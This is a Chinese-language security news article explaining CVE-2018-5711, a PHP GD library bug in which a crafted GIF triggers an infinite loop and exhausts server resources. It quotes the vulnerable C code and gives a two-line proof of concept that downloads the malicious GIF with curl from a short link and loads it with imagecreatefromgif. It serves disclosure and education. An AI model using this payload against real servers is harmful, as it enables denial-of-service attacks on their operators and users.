内容简介:CVE-2018-5711:一张GIF图片就能让服务器宕机的PHP漏洞
最 近,台湾Web漏洞挖掘大牛 Orange Tsai 在对一些Web开发框架和程序实现模块进行安全审核的过程中,发现了一些有意思的漏洞。就比如说,这个 PHP 的 CVE-2018-5711 ,它能用一张GIF图片就可导致服务器发生崩溃直至宕机,在现实中非常容易利用。在此,Orange Tsai简单地介绍了这个漏洞。
漏洞影响的PHP版本
包含以下PHP系列和其它所有PHP版本
PHP 5漏洞细节
漏洞存在于文件 ext/gd/libgd/gd_gif_in.c 中,其中在 LWZReadByte_函数 中存在一个循环(while-loop):
460 do { 461 sd->firstcode = sd->oldcode = 461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP); 463 } while (sd->firstcode == sd->clear_code);GetCode函数仅只是一个包装类, GetCode_ 才是真正的执行体:
376 static int 377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP) 378 { 379 int i, j, ret; 380 unsigned char count; ... 399 if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0) 400 scd->done = TRUE; ... 405 }GetCode_ 会调用 GetDataBlock 来读取GIF图片中的数据:
332 static int 333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP) 334 { 335 unsigned char count; 336 336 if (! ReadOK(fd,&count,1)) { 338 return -1; 339 } 340 341 *ZeroDataBlockP = count == 0; 342 343 if ((count != 0) && (! ReadOK(fd, buf, count))) { 344 return -1; 345 } 346 347 return count; 348 }以上就是涉及到的漏洞代码,你有发现一些端倪吗?
该漏洞依赖于从整形(int)到无符号字符(unsigned char)的类型转换。就像上述的:如果GetDataBlock_返回-1,则第400行中的scd->done将会被设置为True,并停止while循环。但是其定义的count是无符号字符,它总是从0到255的正数,所以这种循环停止动作是不会被触发执行的。
因此,最终结果就是,一张GIF图片就可以实现无限循环,导致服务器资源耗尽,直到崩溃宕机。
PoC
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif $ php -r 'imagecreatefromgif("poc.gif");' Infinite loop here...由于现实网络中,很多服务器都会用GD图形的扩展库,对用户上传的图片作重新尺寸调整处理,所以该漏洞具有很强的现实危害。
后记
Orange Tsai后续会公开更多0-day和与该漏洞相关的内容。
漏洞参考:
https://bugs.php.net/bug.php?id=75571
http://php.net/ChangeLog-7.php
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711
*参考来源: orange ,FreeBuf小编clouds编译,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 不止于攻击,Memcached 漏洞可窃取服务器数据
- 邮件服务器安全性:潜在漏洞和保护方法
- 挖洞经验 | Oculus CDN服务器的XSS漏洞
- 挖洞经验 | Facebook CDN服务器的XSS漏洞
- 服务器维护引发安全漏洞?币安被窃7000比特币
- 黑客利用存在 5 年的漏洞感染 Linux 服务器,并获利
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Rationality for Mortals
Gerd Gigerenzer / Oxford University Press, USA / 2008-05-02 / USD 65.00
Gerd Gigerenzer's influential work examines the rationality of individuals not from the perspective of logic or probability, but from the point of view of adaptation to the real world of human behavio......一起来看看 《Rationality for Mortals》 这本书的介绍吧!
正则表达式在线测试
正则表达式在线测试
RGB CMYK 转换工具
RGB CMYK 互转工具